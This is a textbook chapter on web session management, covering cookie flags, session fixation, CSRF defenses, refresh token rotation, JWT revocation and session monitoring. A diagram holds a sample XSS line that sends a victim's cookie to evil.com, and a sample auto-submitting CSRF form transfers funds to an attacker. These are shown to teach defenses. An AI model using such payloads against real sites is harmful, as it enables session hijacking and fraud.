Chapter 14: Session Management

"The web was built to be stateless. Sessions are the duct tape that gives it memory -- and like all duct tape, it can be peeled off if you're not careful."

Here is a common tension in application security: you revoke an admin's access, but the admin keeps using the application for another 15 minutes until their access token expires. For a regular app, maybe fine. For an admin dashboard controlling billing and user data? Unacceptable.

This tension sits at the core of session management. JWTs do not let you revoke instantly, but server-side sessions mean a database lookup on every single request. There is no silver bullet -- but there are patterns that give you most of what you want. This chapter walks through the full landscape of how you maintain state for authenticated users, and the attacks that target each approach.


Server-Side Sessions: The Traditional Model

Before JWTs existed, the web ran on server-side sessions. The concept is simple, and its security properties are excellent precisely because of that simplicity.

  1. User logs in with credentials
  2. Server creates a session record (in memory, a database, or a cache like Redis)
  3. Server sends the client a session ID -- a random, meaningless string
  4. Client sends the session ID with every subsequent request
  5. Server looks up the session ID to retrieve user data
sequenceDiagram
    participant Client as Browser
    participant Server as Web Server
    participant Store as Session Store (Redis)

    Client->>Server: POST /login (username, password)
    Server->>Server: Validate credentials
    Server->>Store: CREATE session abc123<br/>{user: "user1", role: "admin",<br/>ip: "10.0.1.42", created: now()}
    Store->>Server: OK
    Server->>Client: 200 OK<br/>Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=Lax

    Client->>Server: GET /dashboard<br/>Cookie: sid=abc123
    Server->>Store: GET session abc123
    Store->>Server: {user: "user1", role: "admin", ...}
    Server->>Client: 200 OK + dashboard HTML

    Note over Client,Store: Later: Admin revokes user's access
    Server->>Store: DELETE session abc123

    Client->>Server: GET /dashboard<br/>Cookie: sid=abc123
    Server->>Store: GET session abc123
    Store->>Server: NOT FOUND
    Server->>Client: 401 Unauthorized (redirect to login)

The session ID is just a lookup key. All the actual data stays on the server. The client never sees it. That is the beauty of it from a security perspective. The client cannot tamper with session data because they never have it. Revocation is instant -- delete the session record, and the next request with that ID gets rejected. The tradeoff is that every request requires a store lookup.

Session ID Requirements

The session ID is the single most important secret in a server-side session architecture. If an attacker can predict, guess, or steal a session ID, they have full access to that user's session. The requirements are strict:

  • Cryptographically random: At least 128 bits of entropy from a CSPRNG (cryptographically secure pseudorandom number generator). In practice, 256 bits is preferred.
  • Unpredictable: An attacker who sees one session ID should gain zero information about any other session ID. There should be no pattern, no sequence, no correlation.
  • Unique: Collisions would allow one user to hijack another's session. With 128 bits of randomness, the probability of collision is astronomically low (birthday paradox requires ~2^64 sessions).
  • URL-safe: Use hex encoding or Base64url to avoid characters that cause problems in cookies or headers.
Never generate session IDs using:
- Sequential numbers (`session_1`, `session_2`, ...) -- trivially predictable
- Timestamps -- predictable if you know when the user logged in
- MD5/SHA1 of user data (`md5(username + timestamp)`) -- deterministic, reproducible
- Math.random() or other non-cryptographic PRNGs -- predictable state, can be reverse-engineered
- UUIDs v1 (time-based) -- contain timestamp and MAC address, partially predictable

Use your framework's built-in session management. Rails, Django, Express, Spring -- they all have well-tested session implementations using CSPRNGs. Don't roll your own.

\```python
# WRONG -- predictable
import hashlib, time
session_id = hashlib.md5(f"{username}{time.time()}".encode()).hexdigest()

# WRONG -- non-cryptographic PRNG
import random
session_id = ''.join(random.choices('abcdef0123456789', k=32))

# CORRECT -- cryptographically secure
import secrets
session_id = secrets.token_hex(32)  # 256 bits of entropy
# e.g., "a7f3b2c1d4e5f6a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1"
\```

Trade-Off Analysis: Server-Side vs Client-Side Sessions

The choice between server-side sessions and client-side tokens (JWTs) is not merely technical -- it shapes your entire architecture. Here is a detailed breakdown of how each approach behaves under real-world conditions:

**Failure mode analysis:**

| Scenario                     | Server-Side Sessions          | JWT (Client-Side)             |
|------------------------------|-------------------------------|-------------------------------|
| Session store goes down      | All users logged out          | No impact (stateless)         |
| Need to revoke one user      | Delete session: instant       | Wait for expiry or deny-list  |
| Need to revoke all users     | Flush store: instant          | Rotate signing key            |
| User changes role            | Update session: instant       | Wait for token refresh        |
| Horizontal scaling           | Need shared store (Redis)     | No shared state needed        |
| Network partition            | Split-brain risk on store     | Tokens still verify locally   |
| Key/secret compromise        | Regenerate session IDs        | Rotate signing key + revoke   |
| Cross-service authentication | Need store access from all    | Any service with public key   |
| Data stored                  | Unlimited server-side data    | Limited by cookie/header size |
| Audit trail                  | Query session store directly  | Need separate logging         |

**Latency characteristics:**
- Redis session lookup: 0.1-0.5ms (same datacenter)
- JWT signature verification (RS256): 0.05-0.1ms
- JWT signature verification (HS256): 0.001-0.01ms
- Redis session lookup (cross-region): 1-10ms

For most applications, the latency difference is negligible. The choice should be driven by architectural needs (revocation, scalability, cross-service auth) rather than raw performance.

Cookies: The Transport Mechanism

Cookies are the primary mechanism for sending session identifiers (whether session IDs or JWTs) between client and server. The security of your sessions depends heavily on how cookies are configured. A session ID protected by cryptographic randomness becomes worthless if the cookie carrying it is exposed through a misconfigured attribute.

A cookie without proper attributes is like a house with no locks. Each attribute matters, and understanding why is essential.

HttpOnly

Set-Cookie: session_id=abc123; HttpOnly

The HttpOnly flag prevents JavaScript from accessing the cookie via document.cookie. This is your primary defense against XSS-based session theft.

graph TD
    subgraph Without_HttpOnly["Without HttpOnly"]
        XSS1["XSS payload executes"] --> Read1["document.cookie<br/>→ session_id=abc123"]
        Read1 --> Steal1["fetch('evil.com/steal?c=' + cookie)"]
        Steal1 --> Attacker1["Attacker has session cookie"]
    end

    subgraph With_HttpOnly["With HttpOnly"]
        XSS2["XSS payload executes"] --> Read2["document.cookie<br/>→ '' (empty string)"]
        Read2 --> Block["Cookie invisible to JavaScript"]
        Block --> Safe["Attacker cannot exfiltrate cookie"]
    end

    style Attacker1 fill:#ff4444,color:#fff
    style Safe fill:#44aa44,color:#fff

But if JavaScript cannot read the cookie, how does your single-page app send it with API requests? The browser handles it automatically. Cookies are sent with every request to the matching domain. Your JavaScript does not need to read the cookie -- it just makes a fetch request with credentials: 'include' and the browser attaches the cookie. The cookie works without JavaScript ever touching it. This is the entire point: the cookie is accessible to the browser's networking layer but not to the JavaScript execution context.

Secure

Set-Cookie: session_id=abc123; Secure

The Secure flag ensures the cookie is only sent over HTTPS connections. Without it, the cookie is sent over HTTP too, making it visible to anyone on the network path.

A retail company ran their main site on HTTPS but had a legacy HTTP landing page at `http://deals.example.com`. Same parent domain. Session cookies without the `Secure` flag were sent to both. An attacker on a coffee shop WiFi network ran a simple ARP spoofing attack, intercepted HTTP traffic to `deals.example.com`, and harvested session cookies. They used those cookies on the HTTPS main site. The HTTPS encryption did not matter because the cookies had already been exposed over the HTTP connection.

The total exposure: 340 user sessions over a two-week period before detection. Financial impact: $45,000 in fraudulent orders plus $120,000 in incident response and notification costs.

The fix: `Secure` flag on all cookies, HSTS headers with includeSubDomains, and shutting down the HTTP landing page entirely.

SameSite

The SameSite attribute controls when cookies are sent with cross-site requests. It is one of the most important browser security mechanisms introduced in the last decade.

Set-Cookie: session_id=abc123; SameSite=Strict
Set-Cookie: session_id=abc123; SameSite=Lax
Set-Cookie: session_id=abc123; SameSite=None; Secure
  • Strict: Cookie is never sent on cross-site requests. If you are on evil.com and click a link to bank.com, no cookies are sent. Maximum security but breaks "login from link" flows -- if someone emails you a link to your bank dashboard, you arrive logged out and have to re-authenticate.

  • Lax: Cookie is sent on top-level navigation GET requests (clicking a link) but not on cross-origin subrequests (images, iframes, AJAX, form POSTs). This is the default in modern browsers since Chrome 80 (February 2020). Good balance of security and usability.

  • None: Cookie is sent on all cross-site requests. Required for legitimate cross-site scenarios (embedded widgets, SSO, third-party integrations). Must be paired with Secure. Use this only when you have a specific need for cross-site cookie transmission.

**SameSite and CSRF protection:**

Before `SameSite`, CSRF attacks were straightforward. An attacker's page could submit a form to your bank, and the browser would helpfully attach your session cookie:

\```html
<!-- On evil.com -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker_account" />
  <input name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>
\```

The browser would attach the bank's session cookie because cookies were always sent with cross-origin requests. With `SameSite=Lax` (now the default), this POST request from `evil.com` would NOT include the session cookie, breaking the CSRF attack.

However, `SameSite=Lax` still sends cookies on top-level GET navigation. This means:
- Clicking a link from evil.com to bank.com: cookie IS sent (so you arrive logged in)
- Form POST from evil.com to bank.com: cookie NOT sent (CSRF blocked)
- AJAX from evil.com to bank.com: cookie NOT sent (CSRF blocked)
- Image tag on evil.com pointing to bank.com: cookie NOT sent

The critical implication: sites MUST ensure GET requests never perform state-changing operations. `GET /transfer?to=attacker&amount=10000` would still be dangerous because the cookie is sent on GET navigation.

Domain and Path

Set-Cookie: session_id=abc123; Domain=example.com

The Domain attribute controls which domains receive the cookie:

  • If you set Domain=example.com, the cookie is sent to example.com and ALL subdomains (api.example.com, admin.example.com, compromised-blog.example.com)
  • If you omit Domain, the cookie is only sent to the exact domain that set it (called "host-only" behavior)

Setting the domain MORE broadly is actually LESS secure. If you set Domain=example.com, a compromised subdomain can receive and steal the cookie. If your marketing team spins up blog.example.com with a WordPress site that has an XSS vulnerability, that XSS can harvest session cookies meant for app.example.com. Omit the Domain attribute unless you specifically need cross-subdomain cookies. When in doubt, keep it narrow.

Path restricts which URL paths receive the cookie. A cookie with Path=/app is not sent with requests to /admin. However, Path is NOT a security boundary -- JavaScript on the same origin can still access cookies for any path, and <iframe> tricks can be used to read cookies from different paths. Do not rely on Path for access control.

Putting it all together, here is what a production session cookie should look like:

Set-Cookie: __Host-session_id=abc123;
  HttpOnly;
  Secure;
  SameSite=Lax;
  Path=/;
  Max-Age=900

The __Host- prefix is a browser security feature: a cookie with this prefix must be set with Secure, must not have a Domain attribute (host-only), and must have Path=/. The browser enforces these constraints, providing defense-in-depth against cookie injection attacks.

Inspect cookie attributes in your browser and with curl:

\```bash
# Check what cookies a site sets (verbose output shows Set-Cookie headers)
curl -v -c - https://example.com/login 2>&1 | grep -i "set-cookie"

# Example output analysis:
# GOOD:
# Set-Cookie: __Host-sid=a7f3b2; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900
#   ✓ __Host- prefix enforces Secure + no Domain + Path=/
#   ✓ HttpOnly prevents JavaScript access
#   ✓ Secure ensures HTTPS only
#   ✓ SameSite=Lax prevents CSRF
#   ✓ Max-Age=900 (15 minutes) limits exposure

# BAD:
# Set-Cookie: session=abc123
#   ✗ No HttpOnly (XSS can steal it)
#   ✗ No Secure (sent over HTTP)
#   ✗ No SameSite (CSRF vulnerable on old browsers)
#   ✗ No Max-Age/Expires (becomes a session cookie -- lasts until browser closes)
#   ✗ No __Host- prefix

# In browser DevTools:
# Application tab → Cookies → check each attribute column
# Look for missing HttpOnly, Secure, or SameSite flags
# Chrome highlights insecure cookies with a yellow warning icon

# Check with httpie for cleaner output:
http -v --print=h POST https://api.example.com/login \
  username=test password=test 2>&1 | grep -i set-cookie
\```

Session Fixation Attacks

Session fixation is an attack where the attacker sets the victim's session ID to a value the attacker already knows. Unlike session hijacking (where the attacker steals the victim's session), fixation gives the victim a session the attacker controls.

Most people think about session stealing -- the attacker takes your session. Fixation is the reverse -- the attacker gives you THEIR session. Then when you authenticate, the attacker's pre-set session becomes authenticated.

The Attack Flow

sequenceDiagram
    participant Attacker
    participant Server as Web Server
    participant Victim

    Attacker->>Server: 1. GET /login
    Server->>Attacker: Set-Cookie: sid=EVIL123 (unauthenticated session)

    Note over Attacker: 2. Attacker crafts a URL:<br/>https://site.com/login?sid=EVIL123<br/>or uses XSS on a subdomain<br/>to set the cookie

    Attacker->>Victim: 3. Send phishing email with link

    Victim->>Server: 4. Click link, arrive at login page<br/>Cookie: sid=EVIL123
    Victim->>Server: 5. POST /login (valid credentials)<br/>Cookie: sid=EVIL123

    Note over Server: ⚠ Server authenticates victim<br/>but keeps the SAME session ID!<br/>sid=EVIL123 is now authenticated

    Server->>Victim: 6. 302 Redirect to /dashboard<br/>(sid=EVIL123 now = authenticated Victim)

    Attacker->>Server: 7. GET /dashboard<br/>Cookie: sid=EVIL123
    Note over Server: sid=EVIL123 maps to<br/>Victim's authenticated session
    Server->>Attacker: 8. 200 OK -- Victim's dashboard!

Prevention

The defense is simple and critical: regenerate the session ID after authentication.

# WRONG -- session fixation vulnerable
def login(request):
    user = authenticate(request.POST['username'], request.POST['password'])
    if user:
        request.session['user_id'] = user.id  # Same session ID as before login!
        return redirect('/dashboard')

# CORRECT -- regenerate session on login
def login(request):
    user = authenticate(request.POST['username'], request.POST['password'])
    if user:
        # Create entirely new session, destroy the old one
        old_data = dict(request.session)  # Preserve any pre-login data if needed
        request.session.flush()           # Destroy old session
        request.session.create()          # New session with new ID
        request.session['user_id'] = user.id
        return redirect('/dashboard')

Additionally, regenerate on ANY privilege escalation: switching from regular user to admin mode, impersonating another user, or completing a step-up authentication (like entering a second factor for a sensitive operation).

Most modern frameworks handle this automatically -- Django regenerates session IDs on login by default. Rails does it. Spring Security does it. Express-session requires explicit req.session.regenerate(). But "most" is not "all," and custom auth implementations almost always miss it. Also, some frameworks only regenerate on the initial login but not on privilege escalation, leaving a partial vulnerability.


CSRF Protection Mechanisms

Cross-Site Request Forgery tricks a victim's browser into making unwanted requests to a site where they are authenticated. The browser automatically attaches cookies to any request to the matching domain, regardless of which site initiated the request.

SameSite=Lax is excellent for most cases, but it is not universal. Older browsers do not support it. Some applications need SameSite=None for legitimate reasons like embedded iframes or cross-site SSO. And Lax still allows GET-based CSRF. Defense in depth means layering protections.

CSRF Attack Flow

sequenceDiagram
    participant Victim as Victim's Browser
    participant Evil as evil.com
    participant Bank as bank.com

    Victim->>Bank: Earlier: Login to bank.com
    Bank->>Victim: Set-Cookie: session=abc123

    Note over Victim: Later: Victim visits evil.com

    Victim->>Evil: GET evil.com/funny-cat-video
    Evil->>Victim: HTML page with hidden form:<br/><form action="bank.com/transfer" method="POST"><br/>  <input name="to" value="attacker"><br/>  <input name="amount" value="50000"><br/></form><br/><script>document.forms[0].submit()</script>

    Victim->>Bank: POST /transfer<br/>Cookie: session=abc123 (auto-attached!)<br/>Body: to=attacker&amount=50000

    Note over Bank: Session cookie is valid.<br/>Request looks legitimate.<br/>Without CSRF protection,<br/>the transfer goes through.

    Bank->>Victim: 302 Transfer complete

Synchronizer Token Pattern

The classic CSRF defense. The server generates a random CSRF token, stores it in the session, and embeds it in every form as a hidden field. The attacker cannot guess the token because it is random and tied to the session.

<!-- Server renders this in the form -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="random_token_abc123" />
  <input type="text" name="amount" />
  <input type="text" name="recipient" />
  <button type="submit">Transfer</button>
</form>

The server validates that csrf_token in the POST body matches the value stored in the server-side session. The attacker cannot read the token from the page (same-origin policy prevents it), so they cannot include it in their forged request.

For stateless applications that cannot store tokens in server-side sessions:

  1. Server sets a random value in both a cookie AND a request header/parameter
  2. On each request, server verifies that the cookie value matches the header value
  3. An attacker can cause the cookie to be sent (browsers do this automatically) but cannot read it (same-origin policy), so they cannot set the matching header
// Client-side implementation for SPA:
// 1. Read the CSRF cookie (must NOT be HttpOnly for this pattern)
const csrfToken = document.cookie
  .split('; ')
  .find(row => row.startsWith('csrf='))
  ?.split('=')[1];

// 2. Include it as a header in every request
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken  // Must match cookie value
  },
  credentials: 'include',  // Send cookies
  body: JSON.stringify({amount: 100, to: 'recipient'})
});

Defense Layers

Modern CSRF defense should be layered:

1. **`SameSite=Lax` or `Strict` cookies** (primary defense) -- prevents most cross-site request scenarios at the browser level
2. **CSRF tokens** for state-changing operations (secondary) -- catches cases where SameSite does not apply
3. **Origin/Referer header validation** (supplementary) -- the server checks that the `Origin` or `Referer` header matches its own domain. Browsers do not allow JavaScript to forge these headers.
4. **Custom headers for API requests** (supplementary) -- browsers require a CORS preflight for custom headers from cross-origin requests, and the attacker's domain will not be in `Access-Control-Allow-Origin`

**Important nuance:** `SameSite=Lax` sends cookies on top-level GET navigation. If your application has any state-changing GET endpoints (which violates HTTP semantics but is common in practice), they remain CSRF-vulnerable even with `SameSite=Lax`. This is why defense in depth matters.

Token Rotation and Sliding Expiration

Session lifetime management is more nuanced than it appears. There are several competing concerns: user convenience (nobody wants to re-login every 5 minutes), security (sessions should not last forever), and operational reality (users step away from their desks, close laptops, and resume hours later).

Absolute vs Sliding Expiration

graph TD
    subgraph Absolute["Absolute Expiration (30 min)"]
        A1["Login<br/>t=0"] --> A2["Activity<br/>t=10min"]
        A2 --> A3["Activity<br/>t=20min"]
        A3 --> A4["Expires<br/>t=30min"]
        A4 --> A5["Must re-login"]
        style A4 fill:#ff6b6b,color:#fff
    end

    subgraph Sliding["Sliding Expiration (15 min idle)"]
        S1["Login<br/>t=0"] --> S2["Activity<br/>t=10min<br/>reset to +15min"]
        S2 --> S3["Activity<br/>t=20min<br/>reset to +15min"]
        S3 --> S4["Idle..."]
        S4 --> S5["Expires<br/>t=35min<br/>(15 min after<br/>last activity)"]
        style S5 fill:#ff6b6b,color:#fff
    end

    subgraph Combined["Combined (Recommended)"]
        C1["Login<br/>t=0"] --> C2["Activity resets<br/>idle timer"]
        C2 --> C3["Can extend<br/>indefinitely<br/>with activity"]
        C3 --> C4["BUT: Hard max<br/>at 8 hours"]
        C4 --> C5["Must re-login"]
        style C4 fill:#ff6b6b,color:#fff
    end

Always use both. Sliding expiration keeps active users logged in without annoyance. Absolute expiration ensures that even constantly-active sessions eventually require re-authentication. Without an absolute limit, a stolen session could be used indefinitely as long as the attacker keeps it active.

Recommended values by risk level:

Application TypeIdle TimeoutAbsolute Timeout
Banking/Financial5-15 min30-60 min
Admin Dashboard15-30 min4-8 hours
Standard Web App30-60 min8-24 hours
Low-Risk App1-4 hours7-30 days

Refresh Token Rotation

For JWT-based systems, refresh token rotation provides sliding expiration without extending access token lifetimes:

def refresh_tokens(refresh_token):
    # 1. Validate the refresh token against the database
    session = db.get_refresh_session(refresh_token)

    if not session:
        raise AuthError("Invalid refresh token")

    if session.revoked:
        # CRITICAL: Reuse detected! Someone used an old token.
        # Revoke the entire family -- both the legitimate user
        # and the attacker lose access. Better to force a re-login
        # than to allow a stolen token to remain valid.
        db.revoke_token_family(session.family_id)
        alert_security_team(
            event="refresh_token_reuse",
            user_id=session.user_id,
            family_id=session.family_id
        )
        raise SecurityError("Refresh token reuse detected -- all sessions revoked")

    # 2. Check user is still active and authorized
    user = db.get_user(session.user_id)
    if not user or not user.is_active:
        db.revoke_token_family(session.family_id)
        raise AuthError("User account disabled")

    # 3. Mark old refresh token as used (not deleted -- keep for reuse detection)
    db.mark_used(refresh_token)

    # 4. Issue new tokens
    new_access = create_jwt(
        user_id=session.user_id,
        role=user.role,
        expires_in=900  # 15 minutes
    )
    new_refresh = create_refresh_token(
        user_id=session.user_id,
        family_id=session.family_id,  # Same family for reuse detection
        expires_in=604800             # 7 days absolute max
    )

    return new_access, new_refresh
A SaaS platform used 30-day refresh tokens without rotation. An employee left the company, but their refresh token was still valid in their browser. They kept refreshing access tokens for three weeks, downloading customer data as leverage for a wrongful termination lawsuit. The company had revoked the employee's credentials but had no mechanism to invalidate existing refresh tokens -- the refresh endpoint only checked that the token was syntactically valid, not that the user was still authorized.

The fix had three parts: (1) check user account status on every refresh, (2) implement refresh token rotation with reuse detection, and (3) add a `token_version` field to the user table that is incremented on account changes, with tokens checked against this version.

Cost of the data exposure: $380,000 in legal fees and an undisclosed settlement. Cost of the fix: two developer-days.

Logout and Session Invalidation

Client-side logout is easy. Server-side invalidation is where it gets interesting, especially with JWTs. Getting it wrong means a user who thinks they are logged out is still vulnerable.

Server-Side Session Logout

For traditional server-side sessions, logout is straightforward and immediate:

def logout(request):
    session_id = request.cookies.get('session_id')

    # 1. Delete the server-side session
    session_store.delete(session_id)

    # 2. Clear the cookie on the client
    response = redirect('/login')
    response.delete_cookie('session_id',
                          path='/',
                          httponly=True,
                          secure=True,
                          samesite='Lax')

    return response

This is immediate and complete. The moment the session is deleted from the store, any request with that session ID fails. Even if the attacker has a copy of the cookie, it points to nothing.

JWT Logout: The Hard Problem

JWTs are stateless by design. There is no server-side session to delete. A JWT is valid until it expires, regardless of what the server wants. This is the fundamental tension of JWT-based architecture.

graph TD
    A["User clicks Logout"] --> B["Client deletes token from cookie/storage"]
    B --> C["User appears logged out"]
    C --> D{"Did attacker already copy the token?"}
    D -->|No| E["User is safely logged out"]
    D -->|Yes| F["Attacker still has valid token"]
    F --> G["Token has no server-side state to invalidate"]
    G --> H["Attacker has access until token expires"]

    style E fill:#44aa44,color:#fff
    style H fill:#ff4444,color:#fff

Solutions to JWT Revocation

1. Token Deny List (Blacklist)

Maintain a list of revoked token IDs (jti claims) in a fast store like Redis. Check this list on every request. Set the Redis TTL to match the token's remaining lifetime so entries auto-expire.

def verify_jwt(token):
    payload = jwt.decode(token, public_key, algorithms=["RS256"])

    # Check deny list
    if redis.exists(f"revoked:{payload['jti']}"):
        raise AuthError("Token has been revoked")

    return payload

def logout(request):
    payload = get_current_token_payload(request)
    # Add to deny list with TTL matching remaining token lifetime
    remaining_ttl = payload['exp'] - int(time.time())
    if remaining_ttl > 0:
        redis.setex(f"revoked:{payload['jti']}", remaining_ttl, "1")

    # Also revoke the refresh token
    db.revoke_refresh_token(request.cookies.get('refresh_token'))

    # Clear cookies
    response = redirect('/login')
    response.delete_cookie('access_token')
    response.delete_cookie('refresh_token')
    return response

Does this defeat the whole purpose of JWTs? Partially, yes. But the deny list is much smaller than a full session store -- you are only storing revoked tokens, and they auto-expire with the TTL. If you have 100,000 active users and 10 logouts per minute with 15-minute token lifetimes, the deny list at any given time holds at most 150 entries. That is a trivial lookup, even if the connection to Redis adds latency.

2. Short Expiration + Refresh Token Revocation

Use very short-lived access tokens (5 minutes) and revoke the refresh token on logout. The access token will be invalid in minutes, and the user cannot get a new one. This is the most common approach in practice.

3. Token Versioning

Store a "token version" per user in the database. Increment it on logout, password change, or account compromise. Verify it on each request.

def verify_jwt(token):
    payload = jwt.decode(token, public_key, algorithms=["RS256"])
    user = db.get_user(payload['sub'])
    if payload.get('token_version') != user.token_version:
        raise AuthError("Token version mismatch -- session invalidated")
    return payload

def logout(request):
    user = get_current_user(request)
    user.token_version += 1  # Invalidates ALL tokens for this user
    db.save(user)

This requires a database lookup per request but only by user ID, which is highly cacheable. The advantage over a deny list is that it provides mass revocation -- incrementing the version invalidates every token for that user across all devices.

Test session invalidation behavior:

\```bash
# 1. Log in and capture the session cookie
curl -v -c cookies.txt -X POST \
  -d '{"username":"testuser","password":"test"}' \
  -H "Content-Type: application/json" \
  https://app.example.com/api/login
# Look for Set-Cookie in response headers

# 2. Make an authenticated request (should work)
curl -b cookies.txt https://app.example.com/api/profile
# {"id": "testuser", "email": "user@company.com", "role": "admin"}

# 3. Log out
curl -b cookies.txt -X POST https://app.example.com/api/logout
# {"message": "Logged out successfully"}

# 4. Try to use the old cookie (should fail)
curl -b cookies.txt https://app.example.com/api/profile
# 401 Unauthorized
# If this still returns 200, the server isn't properly invalidating sessions

# 5. For JWTs, extract the token and test directly
TOKEN="eyJ..."
# Logout
curl -H "Authorization: Bearer $TOKEN" -X POST https://app.example.com/api/logout

# Try the old token
curl -H "Authorization: Bearer $TOKEN" https://app.example.com/api/profile
# If this returns 200 after logout, the JWT isn't being revoked
# You need a deny list, token versioning, or very short expiry
\```

Session Storage Backend Comparison

Where you store sessions on the server side matters for both performance and security. Each backend has distinct characteristics that affect your application's behavior under load, failure, and attack.

graph TD
    subgraph InMemory["In-Memory (Process)"]
        IM1["Fastest possible lookups<br/>0.001ms"]
        IM2["Lost on restart or crash"]
        IM3["Cannot scale horizontally"]
        IM4["Use: Development only"]
    end

    subgraph Database["Database (PostgreSQL/MySQL)"]
        DB1["Persistent and durable"]
        DB2["Queryable (find all sessions for user X)"]
        DB3["Slower lookups: 1-5ms"]
        DB4["Adds load to primary DB"]
        DB5["Use: When you need audit trails"]
    end

    subgraph Cache["Cache (Redis)"]
        R1["Fast lookups: 0.1-0.5ms"]
        R2["Native TTL support"]
        R3["Cluster mode for HA"]
        R4["Use: Production standard"]
    end

    subgraph Hybrid["Hybrid (Redis + DB)"]
        H1["Redis for active session lookup"]
        H2["DB for session audit log"]
        H3["Write-through or async sync"]
        H4["Use: Compliance requirements"]
    end
**Redis session architecture for high availability:**

\```
               ┌──────────┐
               │ Sentinel │ (monitors Redis health,
               │ Cluster  │  promotes replica on failure)
               └────┬─────┘
                    │
          ┌─────────┼─────────┐
          │         │         │
     ┌────▼───┐ ┌──▼─────┐ ┌─▼──────┐
     │ Redis  │ │ Redis  │ │ Redis  │
     │Primary │→│Replica1│ │Replica2│
     └────────┘ └────────┘ └────────┘
          ▲         ▲         ▲
          │         │         │
     ┌────┴───┐ ┌──┴─────┐ ┌─┴──────┐
     │ App 1  │ │ App 2  │ │ App 3  │
     └────────┘ └────────┘ └────────┘
\```

**Configuration considerations:**
- **maxmemory-policy:** Use `volatile-lru` or `volatile-ttl` so Redis evicts expired sessions under memory pressure rather than crashing. Never use `noeviction` for session stores.
- **Always set a TTL** on session keys. Sessions without expiration are a memory leak that grows until Redis OOMs.
- **Persistence:** Enable AOF (Append Only File) with `appendfsync everysec` for durability. Accept that you may lose up to 1 second of session data on crash -- this is acceptable because users simply re-authenticate.
- **Connection pooling:** Use a connection pool. Creating a new Redis connection per request adds 1-3ms of latency and can exhaust file descriptors under load.
- **Key naming:** Use a consistent prefix like `session:{id}` and set up monitoring to track key count, memory usage, and hit/miss ratio.

Concurrent Session Control

Should a user be allowed to have multiple active sessions? The answer depends on your security requirements and user experience goals.

Banks typically allow one session at a time. Social media allows dozens -- your phone, tablet, laptop, work computer. Enterprise apps often allow multiple but let users view and revoke individual sessions. GitHub shows you every active session with device info and lets you revoke any of them.

Strategies

1. Single Session (Strictest)

Every new login invalidates all previous sessions. The user can only be logged in from one device at a time. This is common in banking and financial applications where concurrent access is considered a security risk.

2. Session Listing and Selective Revocation

The user can view all active sessions and revoke individual ones. This is the model used by Google, GitHub, Facebook, and most enterprise applications. It provides visibility and control without sacrificing multi-device usability.

3. Maximum Session Count

Allow up to N concurrent sessions. When session N+1 is created, the oldest session is invalidated. This provides a balance between flexibility and control.

Implementation

def login(request):
    user = authenticate(request)

    # Get all active sessions for this user
    active_sessions = session_store.get_user_sessions(user.id)

    if len(active_sessions) >= MAX_SESSIONS:
        # Option A: Revoke oldest
        oldest = min(active_sessions, key=lambda s: s.created_at)
        session_store.delete(oldest.id)

        # Option B: Reject login with message
        # return error("Too many active sessions. Please log out from another device.")

        # Option C: Revoke all and start fresh
        # for s in active_sessions: session_store.delete(s.id)

    # Create new session with device fingerprint for the session list UI
    session = session_store.create(
        user_id=user.id,
        ip=request.remote_addr,
        user_agent=request.headers.get('User-Agent'),
        geo=geoip_lookup(request.remote_addr),
        created_at=datetime.utcnow(),
        last_active=datetime.utcnow()
    )

    return set_session_cookie(response, session.id)

Session Security Monitoring

Sessions are high-value targets. You need to monitor them actively, not just set them and forget them. Detection is as important as prevention because no prevention is perfect.

What to Log

Every session lifecycle event should be logged with enough context for forensic analysis:

  • Session creation: user ID, IP address, user agent, timestamp, geolocation, authentication method (password, SSO, MFA)
  • Session destruction: explicit logout vs expired vs revoked by admin
  • Session anomalies: IP address change mid-session, user agent change, impossible travel
  • Failed session validations: expired tokens, invalid signatures, revoked tokens, rate of failures per IP

Impossible Travel Detection

def check_impossible_travel(user_id, current_ip, current_time):
    """Detect if a user appears to be in two places simultaneously."""
    last_activity = get_last_activity(user_id)
    if not last_activity:
        return False

    distance_km = geoip_distance(last_activity.ip, current_ip)
    time_diff_hours = (current_time - last_activity.time).total_seconds() / 3600

    if time_diff_hours == 0:
        time_diff_hours = 0.001  # Avoid division by zero

    # Max reasonable speed: 900 km/h (commercial aircraft)
    max_distance = time_diff_hours * 900

    if distance_km > max_distance:
        alert_security_team(
            event="impossible_travel",
            user_id=user_id,
            from_ip=last_activity.ip,
            from_location=geoip_lookup(last_activity.ip),
            to_ip=current_ip,
            to_location=geoip_lookup(current_ip),
            distance_km=distance_km,
            time_diff_hours=time_diff_hours,
            required_speed_kmh=distance_km / time_diff_hours
        )
        return True  # Suspicious -- require re-authentication

    return False
An e-commerce company implemented session monitoring and within the first week caught a credential stuffing attack. The attacker had valid credentials (harvested from a breach of a completely different site where the user reused their password) but was logging in from an IP in Eastern Europe while the user's history showed exclusively US-based access.

The system flagged the impossible travel, forced a step-up authentication (MFA challenge), and notified the user via their verified email. The attacker could not complete the MFA challenge. Without the monitoring system, the attacker would have placed fraudulent orders for days before anyone noticed.

The monitoring system cost $12,000 to implement (mostly GeoIP database licensing and developer time). It prevented an estimated $50,000 in fraud in the first month alone.

Bringing It Together: The Hybrid Architecture

What is the actual architecture you should use for a production application? Here is the recommended approach. It looks complex, but each piece solves a specific problem, and the individual components are each straightforward.

graph TD
    subgraph Client["Client (Browser)"]
        AC["Access Token (JWT)<br/>HttpOnly Secure cookie<br/>10-min expiry"]
        RC["Refresh Token (Opaque)<br/>HttpOnly Secure cookie<br/>Path: /api/auth/refresh"]
        CT["CSRF Token<br/>Cookie + custom header"]
    end

    subgraph APIServers["API Servers (Stateless)"]
        V1["Verify JWT signature (local)<br/>Check exp, iss, aud claims<br/>Check deny list (Redis)"]
    end

    subgraph AuthServer["Auth Server"]
        Login["Login endpoint"]
        Refresh["Refresh endpoint"]
        Logout["Logout endpoint"]
    end

    subgraph Redis["Redis"]
        DL["Token deny list<br/>(revoked JTIs with TTL)"]
        TV["User token versions<br/>(for mass revocation)"]
    end

    subgraph DB["Database"]
        RT["Refresh token records<br/>(with family_id for<br/>reuse detection)"]
        SL["Session audit log<br/>(login/logout events)"]
    end

    AC --> V1
    V1 --> DL
    RC --> Refresh
    Refresh --> RT
    Login --> RT
    Login --> SL
    Logout --> DL
    Logout --> RT
    Logout --> SL

